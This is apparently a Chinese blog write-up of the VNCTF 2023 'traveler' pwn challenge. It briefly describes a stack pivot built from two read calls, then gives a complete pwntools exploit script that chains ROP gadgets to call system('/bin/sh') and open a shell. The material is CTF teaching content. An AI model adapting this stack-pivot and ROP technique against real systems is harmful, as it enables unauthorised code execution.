vnctf2023 traveler

原创已于 2023-02-23 14:04:14 修改 · 546 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #python #安全

于 2023-02-22 23:33:55 首次发布

该文章描述了一个利用两次read调用来进行栈迁移并引发栈溢出的安全漏洞利用过程。在AMD64架构的Linux系统中，通过精心构造payload，文章作者旨在操控程序执行流，覆盖栈上的指针，最终达到执行自定义代码（如system函数调用/bin/sh）的目的。在调试过程中，注意到leave指令后rsp寄存器的改变，这是关键的栈操作。

利用两次read，达成栈迁移，注意要迁移到更高的栈，并且利用read写更高的栈，完成栈溢出。注意调试，leave后rsp会+8。

from pwn import *

p = process('./traveler')
#p = remote('node4.buuoj.cn',29186)
elf = ELF('./traveler')
context(arch="amd64",os="linux", log_level="debug")

lv = 0x0000000000401253
msg = 0x4040A0
bss = 0x404d00
rdi = p64(0x00000000004012c3)
ret = p64(0x000000000040101a)
main = elf.sym['main']
sys = elf.plt['system']
read = elf.plt['read']
newread = 0x401216

#gdb.attach(p)

payload = b'a'*31 + b'p' + p64(bss+0x20) + p64(newread)
payload2 = p64(0)*5
p.recvuntil("u?\n")
p.send(payload)
p.recvuntil("life?\n")
p.send(payload2)
p3 = rdi + p64(msg) + p64(sys) + p64(0) + p64(bss-0x08) + p64(lv)
p.send(p3)
p.recvuntil("life?\n")
p.send(b'/bin/sh\x00')
p.interactive()